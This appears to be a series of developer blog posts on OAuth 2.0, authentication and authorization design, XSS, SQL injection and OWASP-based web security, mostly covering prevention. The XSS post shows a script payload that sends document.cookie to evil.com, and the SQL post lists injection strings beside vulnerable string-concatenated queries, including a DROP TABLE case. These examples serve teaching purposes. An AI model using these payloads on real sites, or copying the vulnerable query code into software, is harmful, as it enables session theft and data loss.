oAuth – Part 1

OAuth 2.0 is the industry-standard protocol for authorization.

Overview

Welcome, today I will go through the oAuth protocol, some definitions and how it works. In a later post I will show an example of how easy it is to use oAuth with the Erdiko Authenticate package and php league packages.

What is oAuth?

I bet most of you have the same question. We can simply say that it is a protocol definition for authenticate and authorize third party applications to have access to certain user data, without sharing password with the third party app.
In other words, your application will have a token provided from a trusted service (let’s say Facebook, Twitter or any other commercials) once a user has authenticated. That way, you delegate the authentication process to this third-party server. Additionally, with this token you can access to some user’s information, previously granted by user, e.g. profile information.
When using this method we can store the token so our application doesn’t need to remember any extra authentication credentials, don’t need to fill profile fields every time register in a website, relay the security in a Trusted System.

OAuth 2.0

As per oAuth 2 site:
OAuth 2.0 is the industry-standard protocol for authorization. OAuth 2.0 supersedes the work done on the original OAuth protocol created in 2006.

The new version focus on client develop simplicity, and provides specific flows for Web, Desktop and Mobile developments.

Components

Components or oAuth Roles, are the main pieces involved in the auth flow.
  • Client
  • Resource Server
  • Authorization Server
  • Resource Owner
Now let’s break them down:
Client (The Third-Party Application)

Is the application that is attempting to get access to the user’s account. It needs to get permission from the user before it can do so.

Resource Server (The API)

This is the server or service used to access user’s information through an API.

The Authorization Server

This server presents the interface where the user approves or denies the request. In smaller implementations, this may be the same server as the API server, but larger scale deployments will often build this as a separate component.

Resource Owner (The User)

The resource owner is the person who is giving access to some portion of their account.

Protocol Flow

  1. The application requests authorization to access service resources from the user
  2. If the user authorized the request, the application receives an authorization grant
  3. The application requests an access token from the authorization server (API) by presenting authentication of its own identity, and the authorization grant
  4. If the application identity is authenticated and the authorization grant is valid, the authorization server (API) issues an access token to the application. Authorization is complete.
  5. The application requests the resource from the resource server (API) and presents the access token for authentication
  6. If the access token is valid, the resource server (API) serves the resource to the application

You can implement this abstract flow in different ways based on the target architecture: Web Application and Client Application. Where the first one could be any of common web sites that allow us to login using our Facebook or Twitter user, and the last one could be a mobile or desktop app.

In both cases, before start using oAuth, you need to register the application in the Service Provide system, that way you will obtain a client_id and client_secret. The client_secret should be kept confidential and only used between application and Service Provider.

Once you have registered your app,  the first step is to get authorization from the user.

This is usually accomplished by displaying an interface provided by the service to the user.

The version 2 provides several “grant types” for different use cases. The grant types defined are:

  • Authorization Code for apps running on a web server, browser-based and mobile apps
  • Password for logging in with a username and password
  • Client credentials for application access
  • Implicit was previously recommended for clients without a secret, but has been superseded by using the Authorization Code grant with no secret.

The first step is create a login link to redirect a user to Auth Server where will be authenticated. This link might include the callback URL (this could vary depends on server implementations, some systems require the callback URL in the app registration form). This is the URL user will be redirected to after login.

In case of success this redirect will include a Grant Code, that will be needed in the Token Exchange step.

After a succeed login, with Grant Code and Access Token the client app, will request the access token, that will be used as credential on future request.

Final thoughts

Hope this roughly overview brought up some light into the oAuth Protocol concepts. In the next episode, I will bring you a practical example of how to implement a client module with erdiko/authenticate package.

User Auth… What does it really mean?

Auth, a widely use term that can be a bit confused. We will show the meaning and how to work with both definitions as a system.

Auth, a term we can see every where these days. But, what does it really mean?
Honestly, it can be confusing when just saying Auth. Are you talking about authorization or authenticating?
More over, which is the difference between those two terms? Yeah, you got the point!

So now that I have your attention, let’s start by explaining what each is and how they are different and then how we can use both in our systems.

Difference between Authenticate and Authorize

We can roughly say, in the context of computer systems, authenticate is the process that ensures and confirms a user’s identity.

In other hand we can say that authorize or authorization, is the process responsible to determine the level of access that a user has in relation with a resource.

As you may already guessed, both of these should work together as a team.

That’s cool, but how to do that?

Let’s start with Authentication

Okay, starting from a very basic example, where you need to present two keys to the system, for example, username and password, where the first one will identify you and should be unique all system wide, and the other one would confirm that you are who you said you are.

Nowadays there are other architectures that requires multi-level security layers, tokens like oAuth, and so on, but I won’t go deeper on those in this post since this is just an overview.

So, going back to the previous example, you can tackle it at different level. That means, you can go with Sysadmins and request to keep .htaccess and .htpasswd files up to date, or you can choose to tackle at application level.

As you may guess, we will discuss the last one, programmatically. Here, again, we have a bunch of alternatives based on languages, patterns, etc.

My first thought when I had to work on that was, “why should I choose one? why not define an structure that let users select and implement the most appropriate for  each project?”
Yeah, sounds great, but how can I accomplish it? Well, actually is not a big deal (unless you’re trying to reinvent the wheel), is just take a look at already implemented things. The Database layer was my inspiration.

Let me explain how so. I’ve started defining a minimal interface that any Authenticator class should implement, that way I ensure that my controllers will not be broken when I change the configuration.

iauth

As a second step, I’ve added another two interfaces, one that defines requires method to store and retrieve “session” record of current user, and the other that ensure we have at least a “login” method.

storage_interface

Finally, I mixed all this stuff in a basic atuhenticator class, that with the use of Dependency Injection pattern (Pimple in my case) allow us to load based on a config file, any authenticator class that implements our interfaces. That means, I can choose to authenticate against a plain text file, database record or oAuth server like Facebook or Twitter, I just need to implement the logic for the selected service and put it in a config file.

mock_auth

And what about Authorization?

The good news is there’s a lot of alternatives. The bad news is that most of then are not implemented for all languages, instead, it seems that each programming language pick one and discard the other.

Don’t worry, most of them can be categorized in one of those big groups:

  • Role-based access control

from wikipedia

In computer systems security, role-based access control (RBAC) is an approach to restricting system access to authorized users. It is used by the majority of enterprises with more than 500 employees, and can implement mandatory access control (MAC) or discretionary access control (DAC). RBAC is sometimes referred to as role-based security.

Role-based-access-control (RBAC) is a policy neutral access control mechanism defined around roles and privileges.

  • Access Level Control

from wikipedia

An access control list (ACL), with respect to a computer file system, is a list of permissions attached to an object. An ACL specifies which users or system processes are granted access to objects, as well as what operations are allowed on given objects. Each entry in a typical ACL specifies a subject and an operation. For instance, if a file object has an ACL that contains (Alice: read,write; Bob: read), this would give Alice permission to read and write the file and Bob to only read it.

  • Identity Management

from wikipedia

In computer security, identity and access management (IAM) is the security and business discipline that “enables the right individuals to access the right resources at the right times and for the right reasons”. It addresses the need to ensure appropriate access to resources across increasingly heterogeneous technology environments and to meet increasingly rigorous compliance requirements.

In my case, I based on Ruby On Rails’ CanCan gem. Is very nice the way they implemented the “ability” class to grant users and groups the access to specific resource.
This time I’ve based on AC\Kilinka (compose package from American Council) and basically extended it to cover my needs.
Let’s breakdown a bit to make things more clear, there are two big parts, Authorizer and Guard, and two interface that defines them.
The first one, GuardInterface define four basic methods that will be responsible for get and check policies related with an specific resource, the other one, AuthorizerInterface, has two method, one for register guards and “can”, that decides if an action on a resource is permitted.
kalinka_guardinterface
kalinka_authorizerinterface

 

This package also provides some basic implementations. I’ve chosen RoleAuthorizer that better match to my needs, because users used to have a role associated. However, you can use a SimpleAuthorizer that allows you to allow/deny access by user instead of group.

The main difference is the way you config your permissions, here’s an example of what I did in a JSON format:
auth_json

Final thoughts

I have presented a brief overview about how you can identify users and manage permissions to your app resources.
Hope you enjoyed, thanks for reading, and stay tuned in this blog because we will bring you a new Erdiko packages that implements those things, soon!

XSS: Cross Site Scripting

Introduction

This is probably the most common vulnerability these days on Internet Web Apps. Consist in inject client-side scripts in web pages viewed by other users.

What is Cross-Site Scripting?

XSS occurs when an attacker is capable of injecting a script, often Javascript, into the output of a web application in such a way that it is executed in the client browser.

Even when it’s usually underestimated by developer, injected Javascript can be used to accomplish a lot of damage like: steal cookies and sessions, steal user’s entity to perform request, redirect to hostile hosts, manipulating client-side persistent storage, rewriting or manipulating in-browser applications, attacking browser extensions, and the list goes on.

Types of Cross-Site Scripting Attacks

This kind of attacks can be split in two big categories: The first lies in how malicious input navigates the web application, while the second attempt to include the malicious input within the output of current request.

  • Reflected XSS Attack: Untrusted input sent to a web application is immediately included in the application’s output. Reflection can occur with error messages, search engine submissions, comment previews, etc. This form of attack can be mounted by persuading a user to click a link or submit a form of the attacker’s choosing.
  • Stored XSS Attack: A Stored XSS attack is when the payload for the attack is stored somewhere and retrieved as users view the targeted data. While a database is to be expected, other persistent storage mechanisms can include caches and logs which also store information for long periods of time.
  • DOM-based XSS Attack: DOM-based XSS can be either reflected or stored and the differentiation lies in how the attack is targeted. Most attacks will strike at the immediate markup of a HTML document. However, HTML may also be manipulated by Javascript using the DOM. An injected payload, rendered safely in HTML, might still be capable of interfering with DOM operations in Javascript. There may also be security vulnerabilities in Javascript libraries or their usage which can also be targeted.

How to prevent

Here I will show you a list of topic you should have in mind.

Input Validation

Input Validation is any web application’s first line of defence.Validation works best by preventing XSS attacks on data which has inherent value limits. An integer, for example, should never contain HTML special characters. An option, such as a country name, should match a list of allowed countries which likewise will prevent XSS payloads from being injected.

Input Validation can also check data with clear syntax constraints.

Escaping (also Encoding)

Escaping data on output is a method of ensuring that the data cannot be misinterpreted by the currently running parser or interpreter. The method of escaping varies depending on which Content data is being injected into. The most common Contexts: HTML Body, HTML Attribute, Javascript, URL and CSS.

Content-Security Policy

The Content-Security Policy (CSP) is a HTTP header which communicates a whitelist of trusted resource sources that the browser can trust. Any source not included in the whitelist can now be ignored by the browser since it’s untrusted. Consider the following:

X-Content-Security-Policy: script-src ‘self’

This CSP header tells the browser to only trust Javascript source URLs pointing to the current domain and ignore the rest.

If we need to use Javascript from another source besides ‘self’, we can extend the whitelist to include it. For example, let’s include jQuery’s CDN address.

 

X-Content-Security-Policy: script-src ‘self’ http://code.jquery.com; style-src ‘self’

Browser Detection

HTML Sanitisation

At some point we might need to include external HTML without escaping it. An example of that can be blog comments.

If we were to escape the resulting HTML markup from those sources, they would never render correctly so we instead need to carefully filter it to make sure that any and all dangerous markup is neutralised.

For example:

I am a Markdown paragraph.<script>document.write(‘<iframe src=”http://evil.com?cookie=‘ + document.cookie.escape() + ‘” height=0 width=0 />’);</script>

There’s no need to panic. I swear I am just plain text!

Markdown is a popular alternative to writing HTML but it also allows authors to mix HTML into Markdown. It’s a perfectly valid Markdown feature and a Markdown renderer won’t care whether there is an XSS payload included.

In order to prevent here is an example of a PHP library: HTMLPurifier

// Basic setup without a cache
$config = HTMLPurifier_Config::createDefault();
$config->set(‘Core’, ‘Encoding’, ‘UTF-8’);
$config->set(‘HTML’, ‘Doctype’, ‘HTML 4.01 Transitional’);
// Create the whitelist
$config->set(‘HTML.Allowed’, ‘p,b,a[href],i’); // basic formatting and links
$sanitiser = new HTMLPurifier($config);
$output = $sanitiser->purify($untrustedHtml);

Final remarks and cheat sheets

Always the first step to prevent almost all kind of attack is to clean/sanitize all inputs and outputs.

Security workflow should traversal to the whole lifecycle of the project, is not just a patch we can apply at some point to fix all problems. It should be think from the design stage.

In addition to the above words, and to finish this post, I will share a couple of cheat sheets that would help you in the develop/implementation stages.

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

https://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf

Injection Flaws: Part 2

SQL Injection

How to detect and prevent

The only way to detect flaws in your system is through deep testing.

Fortunately, there’s a set of tools recommended by OWASP, that may help you on this task. W3AF (w3af is a Web Application Attack and Audit Framework), Web Scarab (WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. It is written in Java, and is thus portable to many platforms. WebScarab has several modes of operation, implemented by a number of plugins. In its most common usage, WebScarab operates as an intercepting proxy, allowing the operator to review and modify requests created by the browser before they are sent to the server) and BURP (Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process), just to mention some examples from the top of my head.

The general rule is to clean up all inbound and outbound.

This means you should ensure, in the first step, that you’re rejecting or deleting invalid characters. To do that you can use any sanitise library, PHPSanitizer as example mentioned on a previous post (Security in Web-apps: Overview).

Following with the process of harden our system, lets continue with SQL Injection, that can be tackled with code best practices. (the others might need some server configuration as part of the solution)

We can follow the next steps as a cheat sheet that will help to prevent most of the attacks.

  • Use of Prepared Statements (Parameterized Queries)

Prepared statements ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker. In rare circumstances, prepared statements can harm performance. When confronted with this situation, it is best to either a) strongly validate all data or b) escape all user supplied input using an escaping routine specific to your database vendor as described below, rather than using a prepared statement.

  • Use of Stored Procedures

Stored procedures have the same effect as the use of prepared statements when implemented safely (this means without dynamic query generation) which is the norm for most stored procedure languages. The difference between prepared statements and stored procedures is that the SQL code for a stored procedure is defined and stored in the database itself, and then called from the application.

  • Escaping all User Supplied Input

This technique is based on escape the inputs before put them in the query – I strongly recommend that use this technique in addition with other – for instance, using a library suggested at the top of this section.

For this technique, you should also take care on specific DBMS escaping character information, in the following link is an example of Oracle Escaping information

http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F

In addition to

  • Principle of Least Privilege

In order to minimize  the potential damage of a success injection, you shouldn’t use a DBA privileged user, but instead, connect with a user that has the minimum privileges required by the system. You also shouldn’t run your DBMS as root, sometimes DBMS allow to execute OS instructions. This is not matter of data you store in your database only.

Examples

Based on the next statement I’m going to show the most common SQL vectors:

Based on 1=1 is Always True

txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

SELECT * FROM Users WHERE UserId = 105 or 1=1

Result, this will list all records in Users table, no matter of the UserId.

Based on “”=“” is Always True

uName = getRequestString("UserName");
uPass = getRequestString("UserPass");

sql = "SELECT * FROM Users WHERE Name ='" + uName + "' AND Pass ='" + uPass + “'"

Result, this will list all records in Users table, no matter of the UserName nor UserPass.

Based on Batched SQL Statements

txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers

Result, you will lost Suppliers table.

This is just a quick start on Injection prevention, security should be implemented in layers.

In our next post, we will talk about Cross Site Scripting (XSS), definition and tips to dealing with it.

Injection Flaws: Part 1

image

Introduction

In this post I intend to give some definitions related with Injection Flaws, what are they? and how you can determine if your system might be vulnerable to this kind of attacks.

In a second part, I will show you some examples and some tips to help you detect and prevent this flaws.

What injection flaws are?

Injection is an entire class of attacks that rely on injecting data into a web application in order to facilitate the execution or interpretation of malicious data in an unexpected manner.

We can include Cross-Site Scripting (XSS), SQL Injection, Header Injection, Log Injection and Full Path Disclosure in this class, just to mention some examples.

The first two examples mentioned above, are the most usual used in this kind of attacks.

Usually, hackers just change the URL (in the location bar of browser for instance) adding an string that can be interpreted by system allowing to change the business logic of the system.

A classification of SQL injection attacking vector:

image

How to determine if you are vulnerable

The best way to determine if your applications are vulnerable to injection attacks is to search the source code for all calls to external resources (e.g., system, exec, fork, Runtime.exec, SQL queries, or whatever the syntax is for making requests to interpreters in your environment). Note that many languages have multiple ways to run external commands. Developers should review their code and search for all places where input from an HTTP request could possibly make its way into any of these calls. You should carefully examine each of these calls to be sure that the protection steps outlined below are followed.

Security in Web-apps: Overview

Introduction

This blog entry intends to bring an overview about security and an introduction of usual mistakes and some tips.

Overview

What does Web application security means?

There are several definitions for this questions, but we can shorten them like:

A process that aims to address and fulfill the four principles of security:

  • Confidentiality: States that the sensitive data stored in the Web application should not be exposed under any circumstances.
  • Integrity: States that the data contained in the Web application is consistent and is not modified by an unauthorized user.
  • Availability: States that the Web application should be accessible to the genuine user within a specified period of time depending on the request.
  • Nonrepudiation: States that the genuine user cannot deny modifying the data contained in the Web application and that the Web application can prove its identity to the genuine user.

How to start working on this

As I mentioned before, security is process not just a patch that we can apply at the end of the project. This process should be transversal to the project, starting on the design phase and following, develop, tests and enhancements.

There’s an international non-profit organization that focus on software security improvements, Open Web Application Security Project (OWASP) that has identified the top 10 vulnerabilities:

  • Injection flaws
    • Injection is an entire class of attacks that rely on injecting data into a web application in order to facilitate the execution or interpretation of malicious data in an unexpected manner.
  • Broken authentication and Session Management
    • This is a vulnerability associated with the complex process of User’s authentication. This can happens in all web servers, application servers, and web application environments.
  • Cross Site Scripting (XSS)
    • XSS occurs when an attacker is capable of injecting a script, often Javascript, into the output of a web application in such a way that it is executed in the client browser.
  • Insecure direct object references
    • Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that the application takes user supplied input and uses it to retrieve an object without performing sufficient authorization checks.
  • Security misconfiguration
    • This is a set of potential flaws can be caused by a wrong configuration of web server or application server. There are a wide variety of server configuration problems that can plague the security of a site.
  • Sensitive data exposure
    • This web security vulnerability is about crypto and resource protection. Sensitive data should be encrypted at all times, including in transit and at rest. No exceptions.
  • Missing function level access control
    • This is simply an authorization failure. It means that when a function is called on the server, proper authorization was not performed.
  • Cross site request forgery (CSRF)
    • This is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated.
  • Using components with known vulnerabilities
    • This flaws usually happens when 3rd party pieces of code are included in a system even when there are some vulnerabilities reported by the developers or any community.
  • Unvalidated redirects and forwards
    • We will talk about each item in later posts.

Basic Tips

A common expression between experts is “Never blindly trust the user! they don’t care about the problems can be caused to the system after an invalid input”. To avoid accidental or malicious issues caused by input, always sanitize data that will be used by your system.

Is very important you validate not only the inbound data, but also the output one. There are some threads used by hackers that try to inject redirections in large inputs the can be executed by client on output.

Here’s a small snippet that can show how to validate inputs:

...
require_once(dirname(__FILE__).’/<path_to_classes>/PHPSanitizer.php’);
$sanitizer = PHPSanitizer::getInstance();
$sanitizer->setType(PHPSanitizer::PARANOID);
$sanitizer->validate($string); //return a boolean
$sanitizer->cleanup($string); //returns an string with all invalid characters removed
...

Implementation of PARANOID type:

require_once(dirname(__FILE__).'/AbstractSanitizer.php');
require_once(dirname(__FILE__).'/ISanitizer.php');


class SanitizerParanoid extends AbstractSanitizer implements ISanitizer{
   private $pattern = "/[^a-zA-Z0-9]/";
   private $replacement = "";


   public function validate($string){
       return (preg_match_all($this->pattern, $string)===0);
   }


   public function cleanup($string){
       return preg_replace($this->pattern, $this->replacement, $string);
   }
}

Full code can be forked on  PHPSanitizer

Use prepared SQL statement every time you can, this way RDBMS will compile the query and reject invalid type parameters.

Also take care about your server hardening.

  • Avoid list directories on your server
  • Remove banners of your server
  • Add authentications methods
  • Use SSL across all your sensitive URLs